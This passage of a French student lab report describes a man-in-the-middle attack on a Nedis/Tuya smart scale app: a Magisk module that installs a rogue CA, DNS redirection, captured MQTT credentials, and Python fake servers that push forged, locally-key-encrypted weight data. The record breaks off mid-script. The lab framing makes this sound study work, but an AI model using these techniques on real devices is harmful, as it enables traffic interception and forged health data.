&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO redaction&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On tente donc d'envoyer en clair le poid vers l'application nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;✅ TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;📡 Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;🚀 Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;ℹ️ Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;❌ Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs dans le /data/data/com.nedis.smartlife une clé local qui permettrai de chiffrer le message pour que nedis l'accepte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# 🔑 LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
